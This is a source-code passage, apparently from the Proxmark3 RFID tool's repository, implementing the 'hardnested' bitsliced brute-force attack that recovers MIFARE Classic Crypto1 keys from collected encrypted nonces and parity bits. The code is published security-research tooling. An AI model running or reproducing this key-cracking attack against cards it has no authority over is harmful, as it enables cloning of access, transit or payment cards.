1415
1416 // bitslice even half-states
1417 const size_t max_slices = (even_end-p_even) < MAX_BITSLICES ? even_end-p_even : MAX_BITSLICES;
1418 #ifdef EXACT_COUNT
1419 bucket_size[bitsliced_blocks] = max_slices;
1420 #endif
1421 for(size_t slice_idx = 0; slice_idx < max_slices; ++slice_idx){
1422 uint32_t e = *(p_even+slice_idx);
1423 for(size_t bit_idx = 1; bit_idx < STATE_SIZE; bit_idx+=2, e >>= 1){
1424 // set even bits
1425 if(e&1){
1426 lstate_p[bit_idx].bytes64[slice_idx>>6] |= 1ull << (slice_idx&63);
1427 }
1428 }
1429 }
1430 // compute the rollback bits
1431 for(size_t rollback = 0; rollback < ROLLBACK_SIZE; ++rollback){
1432 // inlined crypto1_bs_lfsr_rollback
1433 const bitslice_value_t feedout = lstate_p[0].value;
1434 ++lstate_p;
1435 const bitslice_value_t ks_bits = crypto1_bs_f20(lstate_p);
1436 const bitslice_value_t feedback = (feedout ^ ks_bits ^ lstate_p[47- 5].value ^ lstate_p[47- 9].value ^
1437 lstate_p[47-10].value ^ lstate_p[47-12].value ^ lstate_p[47-14].value ^
1438 lstate_p[47-15].value ^ lstate_p[47-17].value ^ lstate_p[47-19].value ^
1439 lstate_p[47-24].value ^ lstate_p[47-25].value ^ lstate_p[47-27].value ^
1440 lstate_p[47-29].value ^ lstate_p[47-35].value ^ lstate_p[47-39].value ^
1441 lstate_p[47-41].value ^ lstate_p[47-42].value ^ lstate_p[47-43].value);
1442 lstate_p[47].value = feedback ^ bitsliced_rollback_byte[rollback].value;
1443 }
1444 bitsliced_even_states[bitsliced_blocks++] = lstate_p;
1445 }
1446
1447 // bitslice every odd state to every block of even half-states with half-finished rollback
1448 for(uint32_t const * restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE]+p->len[ODD_STATE]; ++p_odd){
1449 // early abort
1450 if(keys_found){
1451 goto out;
1452 }
1453
1454 // set the odd bits and compute rollback
1455 uint64_t o = (uint64_t) *p_odd;
1456 lfsr_rollback_byte((struct Crypto1State*) &o, 0, 1);
1457 // pre-compute part of the odd feedback bits (minus rollback)
1458 bool odd_feedback_bit = parity(o&0x9ce5c);
1459
1460 crypto1_bs_rewind_a0();
1461 // set odd bits
1462 for(size_t state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; o >>= 1, state_idx+=2){
1463 if(o & 1){
1464 state_p[state_idx] = bs_ones;
1465 } else {
1466 state_p[state_idx] = bs_zeroes;
1467 }
1468 }
1469 const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
1470
1471 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1472 const bitslice_t const * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
1473 size_t state_idx;
1474 // set even bits
1475 for(state_idx = 0; state_idx < STATE_SIZE-ROLLBACK_SIZE; state_idx+=2){
1476 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1477 }
1478 // set rollback bits
1479 uint64_t lo = o;
1480 for(; state_idx < STATE_SIZE; lo >>= 1, state_idx+=2){
1481 // set the odd bits and take in the odd rollback bits from the even states
1482 if(lo & 1){
1483 state_p[state_idx].value = ~bitsliced_even_state[state_idx].value;
1484 } else {
1485 state_p[state_idx] = bitsliced_even_state[state_idx];
1486 }
1487
1488 // set the even bits and take in the even rollback bits from the odd states
1489 if((lo >> 32) & 1){
1490 state_p[1+state_idx].value = ~bitsliced_even_state[1+state_idx].value;
1491 } else {
1492 state_p[1+state_idx] = bitsliced_even_state[1+state_idx];
1493 }
1494 }
1495
1496 #ifdef EXACT_COUNT
1497 bucket_states_tested += bucket_size[block_idx];
1498 #endif
1499 // pre-compute first keystream and feedback bit vectors
1500 const bitslice_value_t ksb = crypto1_bs_f20(state_p);
1501 const bitslice_value_t fbb = (odd_feedback ^ state_p[47- 0].value ^ state_p[47- 5].value ^ // take in the even and rollback bits
1502 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1503 state_p[47-24].value ^ state_p[47-42].value);
1504
1505 // vector to contain test results (1 = passed, 0 = failed)
1506 bitslice_t results = bs_ones;
1507
1508 for(size_t tests = 0; tests < NONCE_TESTS; ++tests){
1509 size_t parity_bit_idx = 0;
1510 bitslice_value_t fb_bits = fbb;
1511 bitslice_value_t ks_bits = ksb;
1512 state_p = &states[KEYSTREAM_SIZE-1];
1513 bitslice_value_t parity_bit_vector = bs_zeroes.value;
1514
1515 // highest bit is transmitted/received first
1516 for(int32_t ks_idx = KEYSTREAM_SIZE-1; ks_idx >= 0; --ks_idx, --state_p){
1517 // decrypt nonce bits
1518 const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
1519 const bitslice_value_t decrypted_nonce_bit_vector = (encrypted_nonce_bit_vector ^ ks_bits);
1520
1521 // compute real parity bits on the fly
1522 parity_bit_vector ^= decrypted_nonce_bit_vector;
1523
1524 // update state
1525 state_p[0].value = (fb_bits ^ decrypted_nonce_bit_vector);
1526
1527 // compute next keystream bit
1528 ks_bits = crypto1_bs_f20(state_p);
1529
1530 // for each byte:
1531 if((ks_idx&7) == 0){
1532 // get encrypted parity bits
1533 const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
1534
1535 // decrypt parity bits
1536 const bitslice_value_t decrypted_parity_bit_vector = (encrypted_parity_bit_vector ^ ks_bits);
1537
1538 // compare actual parity bits with decrypted parity bits and take count in results vector
1539 results.value &= (parity_bit_vector ^ decrypted_parity_bit_vector);
1540
1541 // make sure we still have a match in our set
1542 // if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
1543
1544 // this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
1545 // the short-circuiting also helps
1546 if(results.bytes64[0] == 0
1547 #if MAX_BITSLICES > 64
1548 && results.bytes64[1] == 0
1549 #endif
1550 #if MAX_BITSLICES > 128
1551 && results.bytes64[2] == 0
1552 && results.bytes64[3] == 0
1553 #endif
1554 ){
1555 goto stop_tests;
1556 }
1557 // this is about as fast but less portable (requires -std=gnu99)
1558 // asm goto ("ptest %1, %0\n\t"
1559 // "jz %l2" :: "xm" (results.value), "xm" (bs_ones.value) : "cc" : stop_tests);
1560 parity_bit_vector = bs_zeroes.value;
1561 }
1562 // compute next feedback bit vector
1563 fb_bits = (state_p[47- 0].value ^ state_p[47- 5].value ^ state_p[47- 9].value ^
1564 state_p[47-10].value ^ state_p[47-12].value ^ state_p[47-14].value ^
1565 state_p[47-15].value ^ state_p[47-17].value ^ state_p[47-19].value ^
1566 state_p[47-24].value ^ state_p[47-25].value ^ state_p[47-27].value ^
1567 state_p[47-29].value ^ state_p[47-35].value ^ state_p[47-39].value ^
1568 state_p[47-41].value ^ state_p[47-42].value ^ state_p[47-43].value);
1569 }
1570 }
1571 // all nonce tests were successful: we've found the key in this block!
1572 state_t keys[MAX_BITSLICES];
1573 crypto1_bs_convert_states(&states[KEYSTREAM_SIZE], keys);
1574 for(size_t results_idx = 0; results_idx < MAX_BITSLICES; ++results_idx){
1575 if(get_vector_bit(results_idx, results)){
1576 key = keys[results_idx].value;
1577 goto out;
1578 }
1579 }
1580 stop_tests:
1581 // prepare to set new states
1582 crypto1_bs_rewind_a0();
1583 continue;
1584 }
1585 }
1586
1587 out:
1588 for(size_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx){
1589
1590 #ifdef __WIN32
1591 #ifdef __MINGW32__
1592 __mingw_aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1593 #else
1594 _aligned_free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1595 #endif
1596 #else
1597 free(bitsliced_even_states[block_idx]-ROLLBACK_SIZE);
1598 #endif
1599
1600 }
1601 __sync_fetch_and_add(&total_states_tested, bucket_states_tested);
1602 return key;
1603 }
1604
1605 static void* crack_states_thread(void* x){
1606 const size_t thread_id = (size_t)x;
1607 size_t current_bucket = thread_id;
1608 while(current_bucket < bucket_count){
1609 statelist_t * bucket = buckets[current_bucket];
1610 if(bucket){
1611 const uint64_t key = crack_states_bitsliced(bucket);
1612 if(key != -1){
1613 __sync_fetch_and_add(&keys_found, 1);
1614 __sync_fetch_and_add(&foundkey, key);
1615 break;
1616 } else if(keys_found){
1617 break;
1618 } else {
1619 printf(".");
1620 fflush(stdout);
1621 }
1622 }
1623 current_bucket += thread_count;
1624 }
1625 return NULL;
1626 }
1627
1628 static void brute_force(void)
1629 {
1630 if (known_target_key != -1) {
1631 PrintAndLog("Looking for known target key in remaining key space...");
1632 TestIfKeyExists(known_target_key);
1633 } else {
1634 PrintAndLog("Brute force phase starting.");
1635 time_t start, end;
1636 time(&start);
1637 keys_found = 0;
1638
1639 crypto1_bs_init();
1640
1641 PrintAndLog("Using %u-bit bitslices", MAX_BITSLICES);
1642 PrintAndLog("Bitslicing best_first_byte^uid[3] (rollback byte): %02x...", best_first_bytes[0]^(cuid>>24));
1643 // convert to 32 bit little-endian
1644 crypto1_bs_bitslice_value32((best_first_bytes[0]<<24)^cuid, bitsliced_rollback_byte, 8);
1645
1646 PrintAndLog("Bitslicing nonces...");
1647 for(size_t tests = 0; tests < NONCE_TESTS; tests++){
1648 uint32_t test_nonce = brute_force_nonces[tests]->nonce_enc;
1649 uint8_t test_parity = brute_force_nonces[tests]->par_enc;
1650 // pre-xor the uid into the decrypted nonces, and also pre-xor the cuid parity into the encrypted parity bits - otherwise an exta xor is required in the decryption routine
1651 crypto1_bs_bitslice_value32(cuid^test_nonce, bitsliced_encrypted_nonces[tests], 32);
1652 // convert to 32 bit little-endian
1653 crypto1_bs_bitslice_value32(rev32( ~(test_parity ^ ~(parity(cuid>>24 & 0xff)<<3 | parity(cuid>>16 & 0xff)<<2 | parity(cuid>>8 & 0xff)<<1 | parity(cuid&0xff)))), bitsliced_encrypted_parity_bits[tests], 4);
1654 }
1655 total_states_tested = 0;
1656
1657 // count number of states to go
1658 bucket_count = 0;
1659 for (statelist_t *p = candidates; p != NULL; p = p->next) {
1660 buckets[bucket_count] = p;
1661 bucket_count++;
1662 }
1663
1664 #ifndef __WIN32
1665 thread_count = sysconf(_SC_NPROCESSORS_CONF);
1666 if ( thread_count < 1)
1667 thread_count = 1;
1668 #endif /* _WIN32 */
1669
1670 pthread_t threads[thread_count];
1671
1672 // enumerate states using all hardware threads, each thread handles one bucket
1673 PrintAndLog("Starting %u cracking threads to search %u buckets containing a total of %"PRIu32" states...", thread_count, bucket_count, maximum_states);
1674
1675 for(size_t i = 0; i < thread_count; i++){
1676 pthread_create(&threads[i], NULL, crack_states_thread, (void*) i);
1677 }
1678 for(size_t i = 0; i < thread_count; i++){
1679 pthread_join(threads[i], 0);
1680 }
1681
1682 time(&end);
1683 unsigned long elapsed_time = difftime(end, start);
1684 if(keys_found){
1685 PrintAndLog("Success! Tested %"PRIu32" states, found %u keys after %u seconds", total_states_tested, keys_found, elapsed_time);
1686 PrintAndLog("\nFound key: %012"PRIx64"\n", foundkey);
1687 } else {
1688 PrintAndLog("Fail! Tested %"PRIu32" states, in %u seconds", total_states_tested, elapsed_time);
1689 }
1690 // reset this counter for the next call
1691 nonces_to_bruteforce = 0;
1692 }
1693 }
1694
1695 int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests)
1696 {
1697 // initialize Random number generator
1698 time_t t;
1699 srand((unsigned) time(&t));
1700
1701 if (trgkey != NULL) {
1702 known_target_key = bytes_to_num(trgkey, 6);
1703 } else {
1704 known_target_key = -1;
1705 }
1706
1707 init_partial_statelists();
1708 init_BitFlip_statelist();
1709 write_stats = false;
1710
1711 if (tests) {
1712 // set the correct locale for the stats printing
1713 setlocale(LC_ALL, "");
1714 write_stats = true;
1715 if ((fstats = fopen("hardnested_stats.txt","a")) == NULL) {
1716 PrintAndLog("Could not create/open file hardnested_stats.txt");
1717 return 3;
1718 }
1719 for (uint32_t i = 0; i < tests; i++) {
1720 init_nonce_memory();
1721 simulate_acquire_nonces();
1722 Tests();
1723 printf("Sum(a0) = %d\n", first_byte_Sum);
1724 fprintf(fstats, "%d;", first_byte_Sum);
1725 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1726 brute_force();
1727 free_nonces_memory();
1728 free_statelist_cache();
1729 free_candidates_memory(candidates);
1730 candidates = NULL;
1731 }
1732 fclose(fstats);
1733 } else {
1734 init_nonce_memory();
1735 if (nonce_file_read) { // use pre-acquired data from file nonces.bin
1736 if (read_nonce_file() != 0) {
1737 return 3;
1738 }
1739 Check_for_FilterFlipProperties();
1740 num_good_first_bytes = MIN(estimate_second_byte_sum(), GOOD_BYTES_REQUIRED);
1741 } else { // acquire nonces.
1742 uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow);
1743 if (is_OK != 0) {
1744 return is_OK;
1745 }
1746 }
1747
1748 //Tests();
1749
1750 //PrintAndLog("");
1751 //PrintAndLog("Sum(a0) = %d", first_byte_Sum);
1752 // PrintAndLog("Best 10 first bytes: %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x, %02x",
1753 // best_first_bytes[0],
1754 // best_first_bytes[1],
1755 // best_first_bytes[2],
1756 // best_first_bytes[3],
1757 // best_first_bytes[4],
1758 // best_first_bytes[5],
1759 // best_first_bytes[6],
1760 // best_first_bytes[7],
1761 // best_first_bytes[8],
1762 // best_first_bytes[9] );
1763 PrintAndLog("Number of first bytes with confidence > %2.1f%%: %d", CONFIDENCE_THRESHOLD*100.0, num_good_first_bytes);
1764
1765 clock_t time1 = clock();
1766 generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].Sum8_guess);
1767 time1 = clock() - time1;
1768 if ( time1 > 0 )
1769 PrintAndLog("Time for generating key candidates list: %1.0f seconds", ((float)time1)/CLOCKS_PER_SEC);
1770
1771 brute_force();
1772 free_nonces_memory();
1773 free_statelist_cache();
1774 free_candidates_memory(candidates);
1775 candidates = NULL;
1776 }
1777 return 0;
1778 }
1779
1780
Proxmark3 GIT tracking
Impressum, Datenschutz